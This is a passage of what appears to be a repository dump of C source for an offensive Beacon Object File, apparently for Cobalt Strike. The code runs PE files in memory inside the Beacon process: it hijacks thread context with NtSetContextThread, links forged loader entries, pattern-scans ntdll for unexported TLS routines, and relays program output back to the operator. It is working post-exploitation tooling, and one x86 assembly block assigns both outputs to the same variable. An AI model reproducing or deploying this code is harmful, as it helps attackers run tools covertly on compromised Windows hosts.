intAlloc(sizeof(LDR_DDAG_NODE));\n    if (!ldr_entry->DdagNode)\n    {\n        malloc_failed();\n        intFree(ldr_entry);\n        return NULL;\n    }\n\n    ldr_entry->NodeModuleLink.Flink    = &ldr_entry->DdagNode->Modules;\n    ldr_entry->NodeModuleLink.Blink    = &ldr_entry->DdagNode->Modules;\n    ldr_entry->DdagNode->Modules.Flink = &ldr_entry->NodeModuleLink;\n    ldr_entry->DdagNode->Modules.Blink = &ldr_entry->NodeModuleLink;\n    ldr_entry->DdagNode->State         = LdrModulesReadyToRun;\n    ldr_entry->DdagNode->LoadCount     = 1;\n\n    return ldr_entry;\n}\n\nBOOL link_module(\n    IN PLOADED_PE_INFO peinfo,\n    IN PVOID base_address)\n{\n    PLDR_DATA_TABLE_ENTRY2 ldr_entry = NULL;\n    BOOL                   Success   = FALSE;\n\n    ldr_entry = create_ldr_entry(peinfo, base_address);\n    if (!ldr_entry)\n        goto Cleanup;\n\n    if (!link_ldr_entry(ldr_entry))\n        goto Cleanup;\n\n    Success = TRUE;\n\nCleanup:\n    if (!Success && ldr_entry)\n        intFree(ldr_entry);\n\n    if (Success)\n        peinfo->ldr_entry = ldr_entry;\n\n    return Success;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/runner.c",
    "content": "\n#include \"runner.h\"\n\nBOOL exec_entrypoint_inthread(\n    IN PVOID EntryPoint,\n    IN PVOID Param1,\n    IN PVOID Param2,\n    IN PVOID Param3)\n{\n    Entry_t   Entry    = EntryPoint;\n    PVOID     Rsp      = NULL;\n    PVOID     Rbp      = NULL;\n    PEXEC_CTX exec_ctx = NULL;\n\n    // get RSP and RBP\n#ifdef _WIN64\n    __asm__(\n        \"mov rax, rsp \\n\"\n        \"mov rdx, rbp \\n\"\n        : \"=r\" (Rbp), // RDX OUT\n          \"=r\" (Rsp)  // RAX OUT\n        :\n    );\n#else\n    __asm__(\n        \"mov eax, esp \\n\"\n        \"mov edx, ebp \\n\"\n        : \"=r\" (Rbp), // EDX OUT\n          \"=r\" (Rbp)  // EAX OUT\n        :\n    );\n#endif\n\n    // save the execution context in the Key/Value store\n    exec_ctx = intAlloc(sizeof(EXEC_CTX));\n    exec_ctx->Rsp = Rsp;\n    exec_ctx->Rbp = Rbp;\n    exec_ctx->Rip = &&return_addr;\n    exec_ctx->Tid = get_tid();\n    BeaconAddValue(NC_EXEC_CTX, exec_ctx);\n\n    // jumping to the entry point... wish me luck!\n    Entry(Param1, Param2, Param3);\n\nreturn_addr:\n    DPRINT(\"Execution context restored\"); // :^)\n\n    memset(exec_ctx, 0, sizeof(EXEC_CTX));\n    intFree(exec_ctx);\n    BeaconRemoveValue(NC_EXEC_CTX);\n\n    return TRUE;\n}\n\nBOOL run_pe_inthread(\n    IN PLOADED_PE_INFO peinfo)\n{\n    if (peinfo->is_dll)\n    {\n        if (peinfo->method)\n        {\n            DPRINT(\"Executing %ls!%s\", peinfo->pe_wname, peinfo->method);\n\n            if (peinfo->cmdwline || peinfo->cmdline)\n            {\n                if (peinfo->use_unicode)\n                {\n                    if (!exec_entrypoint_inthread(peinfo->DllParam, (PVOID)peinfo->cmdwline, NULL, NULL))\n                    {\n                        return FALSE;\n                    }\n                }\n                else\n                {\n                    if (!exec_entrypoint_inthread(peinfo->DllParam, (PVOID)peinfo->cmdline, NULL, NULL))\n                    {\n                        return FALSE;\n                    }\n                }\n            }\n            else\n            {\n                if (!exec_entrypoint_inthread(peinfo->DllParam, NULL, NULL, NULL))\n                {\n                    return FALSE;\n                }\n            }\n        }\n        else\n        {\n            if (peinfo->DllMain)\n            {\n                DPRINT(\"Executing DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL)\");\n\n                if (!exec_entrypoint_inthread(peinfo->DllMain, peinfo->pe_base, (PVOID)DLL_PROCESS_ATTACH, NULL))\n                {\n                    return FALSE;\n                }\n            }\n        }\n    }\n    else\n    {\n        DPRINT(\"Executing %ls\", peinfo->pe_wname);\n\n        if (!exec_entrypoint_inthread(peinfo->EntryPoint, NULL, NULL, NULL))\n        {\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL set_thread_context(\n    IN HANDLE hThread,\n    IN PVOID Rip,\n    IN PVOID Param1,\n    IN PVOID Param2,\n    IN PVOID Param3)\n{\n    CONTEXT  threadCtx = { 0 };\n    NTSTATUS status    = STATUS_UNSUCCESSFUL;\n    PVOID    Ret       = NULL;\n\n    memset(&threadCtx, 0, sizeof(threadCtx));\n    threadCtx.ContextFlags = CONTEXT_ALL;\n\n    NTSTATUS (NTAPI* NtGetContextThread)(HANDLE, PCONTEXT) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"NtGetContextThread\", 0);\n    NTSTATUS (NTAPI* NtSetContextThread)(HANDLE, PCONTEXT) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"NtSetContextThread\", 0);\n\n    if (!NtGetContextThread)\n    {\n        api_not_found(\"NtGetContextThread\");\n        return FALSE;\n    }\n\n    if (!NtSetContextThread)\n    {\n        api_not_found(\"NtSetContextThread\");\n        return FALSE;\n    }\n\n    status = NtGetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetContextThread\", status);\n        return FALSE;\n    }\n\n    CONTEXT_SET_IP( threadCtx, Rip );\n    CONTEXT_SET_ARG1( threadCtx, Param1 );\n    CONTEXT_SET_ARG2( threadCtx, Param2 );\n    CONTEXT_SET_ARG3( threadCtx, Param3 );\n\n#ifdef _M_IX86\n    // on x86, some DLLs crash at RtlExitUserThread if we don't add some extra space\n    CONTEXT_ADD_STACK_SPACE( threadCtx, sizeof(PVOID) * 5 );\n#endif\n\n    /*\n     * for DLLs, the return address is usually NULL\n     * when this is the case, we simply set it to RtlExitUserThread\n     */\n    if (CONTEXT_GET_RET( threadCtx ) == NULL)\n    {\n        Ret = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlExitUserThread\", 0);\n        CONTEXT_SET_RET( threadCtx, Ret);\n    }\n\n    status = NtSetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetContextThread\", status);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL prepare_thread(\n    IN PLOADED_PE_INFO peinfo)\n{\n    if (peinfo->is_dll)\n    {\n        if (peinfo->method)\n        {\n            DPRINT(\"Executing %ls!%s\", peinfo->pe_wname, peinfo->method);\n\n            if (peinfo->cmdwline || peinfo->cmdline)\n            {\n                if (peinfo->use_unicode)\n                {\n                    if (!set_thread_context(peinfo->hThread, peinfo->DllParam, (PVOID)peinfo->cmdwline, NULL, NULL))\n                    {\n                        return FALSE;\n                    }\n                }\n                else\n                {\n                    if (!set_thread_context(peinfo->hThread, peinfo->DllParam, (PVOID)peinfo->cmdline, NULL, NULL))\n                    {\n                        return FALSE;\n                    }\n                }\n            }\n            else\n            {\n                if (!set_thread_context(peinfo->hThread, peinfo->DllParam, NULL, NULL, NULL))\n                {\n                    return FALSE;\n                }\n            }\n        }\n        else\n        {\n            if (peinfo->DllMain)\n            {\n                DPRINT(\"Executing DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL)\");\n\n                if (!set_thread_context(peinfo->hThread, peinfo->DllMain, peinfo->pe_base, (PVOID)DLL_PROCESS_ATTACH, NULL))\n                {\n                    return FALSE;\n                }\n            }\n        }\n    }\n    else\n    {\n        DPRINT(\"Executing %ls\", peinfo->pe_wname);\n\n        if (!set_thread_context(peinfo->hThread, peinfo->EntryPoint, NULL, NULL, NULL))\n        {\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL resume_thread(\n    IN PLOADED_PE_INFO peinfo)\n{\n    DWORD (WINAPI* ResumeThread) (HANDLE) = xGetProcAddress(xGetLibAddress(\"kernel32\", TRUE, NULL), \"ResumeThread\", 0);\n    if (!ResumeThread)\n    {\n        api_not_found(\"ResumeThread\");\n        return FALSE;\n    }\n\n    if (ResumeThread(peinfo->hThread) == -1)\n    {\n        function_failed(\"ResumeThread\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL read_output_from_thread(\n    IN PLOADED_PE_INFO peinfo,\n    OUT PBOOL aborted)\n{\n    DWORD         output_length   = 0;\n    DWORD         event_type      = -1;\n    BOOL          thread_finished = FALSE;\n    PCHAR         recv_buffer     = NULL;\n    BOOL          check_timeout   = peinfo->timeout != 0;\n    LARGE_INTEGER frequency       = { 0 };\n    LARGE_INTEGER before          = { 0 };\n    LARGE_INTEGER after           = { 0 };\n\n    // Get timestamp immediately before running PE for comparison later\n    if (check_timeout && !QueryPerformanceFrequency(&frequency))\n    {\n        function_failed(\"QueryPerformanceFrequency\");\n        check_timeout = FALSE;\n    }\n\n    if (check_timeout && !QueryPerformanceCounter(&before))\n    {\n        function_failed(\"QueryPerformanceCounter\");\n        check_timeout = FALSE;\n    }\n\n    // Allocate buffer to hold output from PE\n    if (!peinfo->nooutput)\n    {\n        recv_buffer = intAlloc(BUFFER_SIZE);\n        if (!recv_buffer)\n        {\n            malloc_failed();\n            return FALSE;\n        }\n    }\n\n    do {\n        // Get current time\n        if (check_timeout && !QueryPerformanceCounter(&after))\n        {\n            function_failed(\"QueryPerformanceCounter\");\n            check_timeout = FALSE;\n        }\n\n        // Check if the timeout was reached\n        if (check_timeout && (after.QuadPart - before.QuadPart) > (peinfo->timeout * frequency.QuadPart))\n        {\n            // Kill thread\n            if (peinfo->hThread && !TerminateThread(peinfo->hThread, 0))\n            {\n                function_failed(\"TerminateThread\");\n            }\n\n            if (peinfo->hThread)\n                NtClose(peinfo->hThread);\n            peinfo->hThread = NULL;\n\n            check_timeout   = FALSE;\n            thread_finished = TRUE;\n\n            if (aborted)\n                *aborted = TRUE;\n        }\n\n        if (!thread_finished && peinfo->hThread)\n        {\n            // Wait for the thread to terminate\n            event_type = WaitForSingleObject(peinfo->hThread, _WAIT_TIMEOUT);\n\n            switch (event_type) {\n            case WAIT_ABANDONED:\n                break;\n            case WAIT_TIMEOUT:\n                break;\n            case WAIT_FAILED:\n                function_failed(\"WaitForSingleObject\");\n                break;\n            case WAIT_OBJECT_0:\n                DPRINT(\"The thread has finished\");\n                NtClose(peinfo->hThread);\n                peinfo->hThread = NULL;\n                check_timeout   = FALSE;\n                thread_finished = TRUE;\n                break;\n            default:\n                DPRINT(\"Unknown event type: %d\", event_type);\n            }\n        }\n\n        if (!peinfo->nooutput)\n        {\n            // See if/how much data is available to be read from pipe\n            if (!PeekNamedPipe(peinfo->Handles->hRead, NULL, 0, NULL, &output_length, NULL))\n            {\n                function_failed(\"PeekNamedPipe\");\n            }\n\n            // If there is data to be read, zero out buffer, read data, and send back to CS\n            if (output_length)\n            {\n                memset(recv_buffer, 0, BUFFER_SIZE);\n\n                if (ReadFile((PVOID)peinfo->Handles->hRead, recv_buffer, BUFFER_SIZE - 1, NULL, NULL))\n                {\n                    // Send output back\n                    PRINT(\"%s\", recv_buffer);\n                }\n                else\n                {\n                    function_failed(\"ReadFile\");\n                }\n            }\n        }\n    } while (!thread_finished || output_length);\n\n    // Free results buffer\n    if (recv_buffer)\n    {\n        memset(recv_buffer, 0, BUFFER_SIZE);\n        intFree(recv_buffer);\n    }\n\n    return TRUE;\n}\n\nBOOL read_output_inthread(\n    IN PLOADED_PE_INFO peinfo)\n{\n    DWORD output_length = 0;\n    PCHAR recv_buffer   = NULL;\n\n    if (peinfo->nooutput)\n        return TRUE;\n\n    recv_buffer = intAlloc(BUFFER_SIZE);\n    if (!recv_buffer)\n    {\n        malloc_failed();\n        return FALSE;\n    }\n\n    do {\n        // See if/how much data is available to be read from pipe\n        if (!PeekNamedPipe(peinfo->Handles->hRead, NULL, 0, NULL, &output_length, NULL))\n        {\n            function_failed(\"PeekNamedPipe\");\n        }\n\n        // If there is data to be read, zero out buffer, read data, and send back to CS\n        if (output_length)\n        {\n            memset(recv_buffer, 0, BUFFER_SIZE);\n\n            if (ReadFile((PVOID)peinfo->Handles->hRead, recv_buffer, BUFFER_SIZE - 1, NULL, NULL))\n            {\n                // Send output back\n                PRINT(\"%s\", recv_buffer);\n            }\n            else\n            {\n                function_failed(\"ReadFile\");\n            }\n        }\n    } while (output_length);\n\n    // Free results buffer\n    memset(recv_buffer, 0, BUFFER_SIZE);\n    intFree(recv_buffer);\n\n    return TRUE;\n}\n\nBOOL run_pe(\n    IN PLOADED_PE_INFO peinfo)\n{\n    BOOL      aborted = FALSE;\n    DllMain_t DllMain = NULL;\n\n    /*\n     * If we are supposed to run DllMain,\n     * make sure the DLL has an entrypoint\n     */\n    if (peinfo->is_dll && !peinfo->method && !peinfo->DllMain)\n    {\n        PRINT(\"The DLL %ls does not have an entrypoint\", peinfo->pe_wname);\n        return TRUE;\n    }\n\n    if (peinfo->inthread)\n    {\n        if (!run_pe_inthread(peinfo))\n        {\n            return FALSE;\n        }\n\n        if (!read_output_inthread(peinfo))\n        {\n            return FALSE;\n        }\n    }\n    else\n    {\n        if (!prepare_thread(peinfo))\n        {\n            return FALSE;\n        }\n\n        if (!resume_thread(peinfo))\n        {\n            return FALSE;\n        }\n\n        if (!read_output_from_thread(peinfo, &aborted))\n        {\n            return FALSE;\n        }\n    }\n\n    if (peinfo->is_dll && peinfo->DllMain && !aborted && !peinfo->dont_unload)\n    {\n        /*\n         * The DLL's thread has exited,\n         * now we call DllMain with DLL_PROCESS_DETACH.\n         * We only do this when the PE exits gracefully\n         */\n\n        DPRINT(\"Executing DllMain(hinstDLL, DLL_PROCESS_DETACH, NULL)\");\n\n        DllMain = peinfo->DllMain;\n        DllMain(peinfo->pe_base, DLL_PROCESS_DETACH, NULL);\n    }\n\n    if (aborted)\n    {\n        PRINT_ERR(\"timeout reached\");\n    }\n    else\n    {\n        PRINT(\"done\");\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/utils.c",
    "content": "#include \"utils.h\"\n\n#ifdef _WIN64\n\n// TODO: implement ntdll!LdrpHandleTlsData\nPVOID find_ldrp_handle_tls_data(VOID)\n{\n    PIMAGE_NT_HEADERS      nt             = NULL;\n    PIMAGE_DOS_HEADER      dos            = NULL;\n    DWORD                  rva            = 0;\n    DWORD                  size           = 0;\n    PRUNTIME_FUNCTION      func_table     = NULL;\n    PRUNTIME_FUNCTION      func_entry     = NULL;\n    PVOID                  func_addr      = NULL;\n    DWORD                  func_size      = 0;\n    PBYTE                  bytes_to_match = (PBYTE)\"\\xba\\x23\\x00\\x00\\x00\\x48\\x83\\xc9\\xff\\xe8\";\n    PVOID                  address        = NULL;\n    PVOID                  rip            = NULL;\n    PVOID                  nt_set         = NULL;\n    DWORD                  offset         = 0;\n    PMEMORY_STRUCTS        mem_structs    = NULL;\n\n    /*\n     * We parse the export directory to get a reference to all non-leaf functions in ntdll.\n     * For each one, we check if we find a call to NtSetInformationProcess with\n     * PROCESS_INFORMATION_CLASS set to ProcessTlsInformation (0x23)\n     */\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->ldrp_handle_tls_data)\n        return mem_structs->ldrp_handle_tls_data;\n\n    dos    = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt     = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    nt_set = xGetProcAddress(dos, \"NtSetInformationProcess\", 0);\n    if (!nt_set)\n    {\n        api_not_found(\"NtSetInformationProcess\");\n        return NULL;\n    }\n\n    rva  = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\n    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION);\n    func_table = RVA2VA(PRUNTIME_FUNCTION, dos, rva);\n    // iterate over each non-leaf functions in ntdll\n    for (DWORD i = 0; i < size; ++i)\n    {\n        func_entry = RVA2VA(PRUNTIME_FUNCTION, func_table, (sizeof(RUNTIME_FUNCTION) * i));\n        func_addr  = RVA2VA(PVOID, dos, func_entry->BeginAddress);\n        func_size  = func_entry->EndAddress - func_entry->BeginAddress;\n        // search for the byte pattern on this function\n        if (find_pattern(func_addr, func_size, bytes_to_match, \"xxxxxxxxxx\", &address))\n        {\n            /*\n             * We found a function call with the parameters -1 and 0x28, lets confirm\n             * the function being called is indeed NtSetInformationProcess\n             */\n\n            rip     = RVA2VA(PVOID, address, 10 + sizeof(DWORD));\n            offset  = (ULONG_PTR)nt_set - (ULONG_PTR)rip;\n            address = RVA2VA(PVOID, address, 10);\n            if (*(PDWORD)address == offset)\n            {\n                // if the offset matches, then the function being call is NtSetInformationProcess\n\n                // save the address of the ldrp_handle_tls_data;\n                if (mem_structs)\n                    mem_structs->ldrp_handle_tls_data = func_addr;\n\n                return func_addr;\n            }\n        }\n    }\n\n    api_not_found(\"LdrpHandleTlsData\");\n\n    return NULL;\n}\n\n// TODO: implement ntdll!LdrpReleaseTlsEntry\nPVOID find_ldrp_release_tls_entry(VOID)\n{\n    PIMAGE_NT_HEADERS      nt             = NULL;\n    PIMAGE_DOS_HEADER      dos            = NULL;\n    DWORD                  rva            = 0;\n    DWORD                  size           = 0;\n    PRUNTIME_FUNCTION      func_table     = NULL;\n    PRUNTIME_FUNCTION      func_entry     = NULL;\n    PVOID                  func_addr      = NULL;\n    DWORD                  func_size      = 0;\n    PBYTE                  bytes_to_match = (PBYTE)\"\\x0f\\xb3\\x01\";\n    PVOID                  address        = NULL;\n    PMEMORY_STRUCTS        mem_structs    = NULL;\n\n    /*\n     * We parse the export directory to get a reference to all non-leaf functions in ntdll.\n     * For each one, we check if we find the pattern matching\n     */\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->ldrp_release_tls_entry)\n        return mem_structs->ldrp_release_tls_entry;\n\n    dos    = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt     = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n\n    rva  = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\n    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(RUNTIME_FUNCTION);\n    func_table = RVA2VA(PRUNTIME_FUNCTION, dos, rva);\n    // iterate over each non-leaf functions in ntdll\n    for (DWORD i = 0; i < size; ++i)\n    {\n        func_entry = RVA2VA(PRUNTIME_FUNCTION, func_table, (sizeof(RUNTIME_FUNCTION) * i));\n        func_addr  = RVA2VA(PVOID, dos, func_entry->BeginAddress);\n        func_size  = func_entry->EndAddress - func_entry->BeginAddress;\n        // search for the byte pattern on this function\n        if (find_pattern(func_addr, func_size, bytes_to_match, \"xxx\", &address))\n        {\n            // save the address of the ldrp_release_tls_entry;\n            if (mem_structs)\n                mem_structs->ldrp_release_tls_entry = func_addr;\n\n            return func_addr;\n        }\n    }\n\n    api_not_found(\"LdrpReleaseTlsEntry\");\n\n    return NULL;\n}\n\n#else // _WIN64\n\nPVOID find_ldrp_handle_tls_data(VOID)\n{\n    PIMAGE_NT_HEADERS      nt          = NULL;\n    PIMAGE_DOS_HEADER      dos         = NULL;\n    PIMAGE_SECTION_HEADER  pSection    = NULL;\n    PBYTE                  nt_set_call = (PBYTE)\"\\x6a\\x23\\x6a\\xff\\xe8\";\n    PBYTE                  func_start  = (PBYTE)\"\\x6a\\x00\\x68\";\n    PVOID                  address     = NULL;\n    PVOID                  start       = NULL;\n    PVOID                  rip         = NULL;\n    PVOID                  nt_set      = NULL;\n    DWORD                  offset      = 0;\n    PVOID                  stBegin     = NULL;\n    PVOID                  stEnd       = NULL;\n    DWORD                  dwLen       = 0;\n    PMEMORY_STRUCTS        mem_structs = NULL;\n\n    // on x86, there is no export directory, so we search the entire .text section\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->ldrp_handle_tls_data)\n        return mem_structs->ldrp_handle_tls_data;\n\n    dos    = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt     = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    nt_set = xGetProcAddress(dos, \"NtSetInformationProcess\", 0);\n    if (!nt_set)\n    {\n        api_not_found(\"NtSetInformationProcess\");\n        return NULL;\n    }\n\n    // find the .text section\n    pSection = IMAGE_FIRST_SECTION(nt);\n    for (INT i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (!strncmp(\".text\", (LPCSTR)pSection->Name, 8))\n        {\n            stBegin = RVA2VA(PVOID, dos, pSection->VirtualAddress);\n            dwLen = pSection->Misc.VirtualSize;\n            break;\n        }\n\n        ++pSection;\n    }\n\n    if (!stBegin || !dwLen)\n    {\n        DPRINT(\"Failed to find section\");\n        return NULL;\n    }\n\n    stEnd = RVA2VA(PVOID, stBegin, dwLen);\n\n    while ((ULONG_PTR)stBegin + 5 < (ULONG_PTR)stEnd)\n    {\n        dwLen = (ULONG_PTR)stEnd - (ULONG_PTR)stBegin;\n        if (find_pattern(stBegin, dwLen, nt_set_call, \"xxxxx\", &address))\n        {\n            /*\n             * We found a function call with the parameters -1 and 0x28, lets confirm\n             * the function being called is indeed NtSetInformationProcess\n             */\n\n            rip     = RVA2VA(PVOID, address, 5 + sizeof(DWORD));\n            offset  = (ULONG_PTR)nt_set - (ULONG_PTR)rip;\n            address = RVA2VA(PVOID, address, 5);\n            if (*(PDWORD)address == offset)\n            {\n                /*\n                 * If the offset matches, then the function being call is NtSetInformationProcess,\n                 * but on x86, we still need to find the start of the function, we use another\n                 * pattern match for that\n                 */\n\n                for (int i = 0; i < 0x300; ++i)\n                {\n                    start = RVA2VA(PVOID, address, - i);\n                    if (find_pattern(start, 3, func_start, \"x?x\", NULL))\n                    {\n                        // save the address of the ldrp_handle_tls_data;\n                        if (mem_structs)\n                            mem_structs->ldrp_handle_tls_data = start;\n\n                        return start;\n                    }\n                }\n            }\n\n            stBegin = address;\n        }\n        else\n        {\n            break;\n        }\n    }\n\n    api_not_found(\"LdrpHandleTlsData\")\n\n    return NULL;\n}\n\nPVOID find_ldrp_release_tls_entry(VOID)\n{\n    PIMAGE_NT_HEADERS      nt          = NULL;\n    PIMAGE_DOS_HEADER      dos         = NULL;\n    PIMAGE_SECTION_HEADER  pSection    = NULL;\n    PBYTE                  peb_bytes   = (PBYTE)\"\\x64\\xa1\\x30\\x00\\x00\\x00\\x56\\x57\\xff\\x70\\x18\";\n    PBYTE                  func_start  = (PBYTE)\"\\x8b\\xff\";\n    PVOID                  address     = NULL;\n    PVOID                  start       = NULL;\n    PVOID                  stBegin     = NULL;\n    PVOID                  stEnd       = NULL;\n    DWORD                  dwLen       = 0;\n    PMEMORY_STRUCTS        mem_structs = NULL;\n\n    // on x86, there is no export directory, so we search the entire .text section\n\n    mem_structs = BeaconGetValue(NC_MEM_STRUCTS_KEY);\n    if (mem_structs && mem_structs->ldrp_release_tls_entry)\n        return mem_structs->ldrp_release_tls_entry;\n\n    dos    = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt     = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n\n    // find the .text section\n    pSection = IMAGE_FIRST_SECTION(nt);\n    for (INT i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (!strncmp(\".text\", (LPCSTR)pSection->Name, 8))\n        {\n            stBegin = RVA2VA(PVOID, dos, pSection->VirtualAddress);\n            dwLen = pSection->Misc.VirtualSize;\n            break;\n        }\n\n        ++pSection;\n    }\n\n    if (!stBegin || !dwLen)\n    {\n        DPRINT(\"Failed to find section\");\n        return NULL;\n    }\n\n    stEnd = RVA2VA(PVOID, stBegin, dwLen);\n\n    while ((ULONG_PTR)stBegin + 11 < (ULONG_PTR)stEnd)\n    {\n        dwLen = (ULONG_PTR)stEnd - (ULONG_PTR)stBegin;\n        if (find_pattern(stBegin, dwLen, peb_bytes, \"xxxxxxxxxxx\", &address))\n        {\n            for (int i = 0; i < 0x100; ++i)\n            {\n                start = RVA2VA(PVOID, address, - i);\n                if (find_pattern(start, 2, func_start, \"xx\", NULL))\n                {\n                    // save the address of the ldrp_release_tls_entry;\n                    if (mem_structs)\n                        mem_structs->ldrp_release_tls_entry = start;\n\n                    return start;\n                }\n            }\n\n            stBegin = address;\n        }\n        else\n        {\n            break;\n        }\n    }\n\n    api_not_found(\"LdrpReleaseTlsEntry\")\n\n    return NULL;\n}\n\n#endif\n\nVOID insert_tail_list(\n    PLIST_ENTRY ListHead,\n    PLIST_ENTRY Entry)\n{\n    PLIST_ENTRY Blink;\n\n    Blink = ListHead->Blink;\n    Entry->Flink = ListHead;\n    Entry->Blink = Blink;\n    Blink->Flink = Entry;\n    ListHead->Blink = Entry;\n}\n\nVOID unlink_from_list(\n    PLIST_ENTRY Entry)\n{\n    Entry->Flink->Blink = Entry->Blink;\n    Entry->Blink->Flink = Entry->Flink;\n}\n\nSIZE_T StringLengthA(\n    IN LPCSTR String)\n{\n    LPCSTR String2;\n\n    if ( String == NULL )\n        return 0;\n\n    for (String2 = String; *String2; ++String2);\n\n    return (String2 - String);\n}\n\nPCHAR StringConcatA(\n    IN PCHAR String,\n    IN PCHAR String2)\n{\n    StringCopyA( &String[ StringLengthA( String ) ], String2 );\n\n    return String;\n}\n\nVOID myRtlInitUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PCWSTR SourceString)\n{\n    SIZE_T Length;\n\n    DestinationString->MaximumLength = 0;\n    DestinationString->Length = 0;\n    DestinationString->Buffer = (PWCH)SourceString;\n\n    if (ARGUMENT_PRESENT(SourceString)) {\n        Length = StringLengthW(SourceString) * sizeof(WCHAR);\n        if (Length >= MAX_USTRING) {\n            Length = MAX_USTRING - sizeof(UNICODE_NULL);\n        }\n\n        DestinationString->Length = (USHORT)Length;\n        DestinationString->MaximumLength = (USHORT)(Length + sizeof(UNICODE_NULL));\n    }\n}\n\nSIZE_T StringLengthW(\n    IN LPCWSTR String)\n{\n    LPCWSTR String2;\n\n    for (String2 = String; *String2; ++String2);\n\n    return (String2 - String);\n}\n\nPCHAR StringCopyA(\n    IN PCHAR String1,\n    IN PCHAR String2)\n{\n    PCHAR p = String1;\n\n    while ((*p++ = *String2++) != 0);\n\n    return String1;\n}\n\nSIZE_T WCharStringToCharString(\n    IN PCHAR Destination,\n    IN PWCHAR Source,\n    IN SIZE_T MaximumAllowed)\n{\n    INT Length = MaximumAllowed;\n\n    if (!MaximumAllowed)\n        return 0;\n\n    while (--Length >= 0)\n    {\n        if (!(*Destination++ = *Source++))\n            return MaximumAllowed - Length - 1;\n    }\n\n    return MaximumAllowed - Length;\n}\n\nSIZE_T CharStringToWCharString(\n    IN PWCHAR Destination,\n    IN PCHAR Source,\n    IN SIZE_T MaximumAllowed)\n{\n    INT Length = (INT)MaximumAllowed;\n\n    while (--Length >= 0)\n    {\n        if ( ! ( *Destination++ = *Source++ ) )\n            return MaximumAllowed - Length - 1;\n    }\n\n    return MaximumAllowed - Length;\n}\n\nLONG RtlCompareUnicodeString(\n    IN PCUNICODE_STRING String1,\n    IN PCUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive)\n{\n    return RtlCompareUnicodeStrings(String1->Buffer, String1->Length,\n                                    String2->Buffer, String2->Length,\n                                    CaseInSensitive);\n}\n\nVOID RtlInitEmptyUnicodeString(\n    OUT PUNICODE_STRING UnicodeString,\n    IN PWCHAR Buffer,\n    IN UINT16 BufferSize)\n{\n    memset(UnicodeString, 0, sizeof(*UnicodeString));\n    UnicodeString->MaximumLength = BufferSize;\n    UnicodeString->Buffer = Buffer;\n}\n\nLONG RtlCompareUnicodeStrings(\n    IN CONST WCHAR* String1,\n    IN SIZE_T Length1,\n    IN CONST WCHAR* String2,\n    IN SIZE_T Length2,\n    IN BOOLEAN CaseInSensitive)\n{\n    CONST WCHAR* s1, * s2, * Limit;\n    LONG n1, n2;\n    UINT32 c1, c2;\n\n    if (Length1 > LONG_MAX || Length2 > LONG_MAX) {\n        return STATUS_INVALID_BUFFER_SIZE;\n    }\n\n    s1 = String1;\n    s2 = String2;\n    n1 = (LONG)Length1;\n    n2 = (LONG)Length2;\n\n    Limit = (WCHAR*)((CHAR*)s1 + (n1 <= n2 ? n1 : n2));\n    if (CaseInSensitive) {\n        while (s1 < Limit) {\n            c1 = *s1;\n            c2 = *s2;\n            if (c1 != c2) {\n\n                //\n                // Note that this needs to reference the translation table!\n                //\n                c1 = RTL_UPCASE(c1);\n                c2 = RTL_UPCASE(c2);\n                if (c1 != c2) {\n                    return (INT32)(c1)-(INT32)(c2);\n                }\n            }\n            s1 += 1;\n            s2 += 1;\n        }\n\n    } else {\n\n        while (s1 < Limit) {\n            c1 = *s1;\n            c2 = *s2;\n            if (c1 != c2) {\n                return (LONG)(c1)-(LONG)(c2);\n            }\n            s1 += 1;\n            s2 += 1;\n        }\n    }\n\n    return n1 - n2;\n}\n\nBOOL string_is_included(\n    IN PCHAR list_of_strings,\n    IN PCHAR string_to_search)\n{\n    CHAR  some_string[256] = { 0 };\n    INT   i                = 0;\n\n    for (;;)\n    {\n        // store string until null byte, semi-colon or comma encountered\n        for (i = 0; list_of_strings[i] != '\\0' &&\n                    list_of_strings[i] != ';' &&\n                    list_of_strings[i] != ',' && i < 256; i++) some_string[i] = list_of_strings[i];\n        // nothing stored? end\n        if (i == 0) break;\n        // skip name plus one for separator\n        list_of_strings += (i + 1);\n        // store null terminator\n        some_string[i] = '\\0';\n        // if equal, return TRUE\n        if (!_stricmp(some_string, string_to_search)) return TRUE;\n    }\n    return FALSE;\n}\n\nBOOL 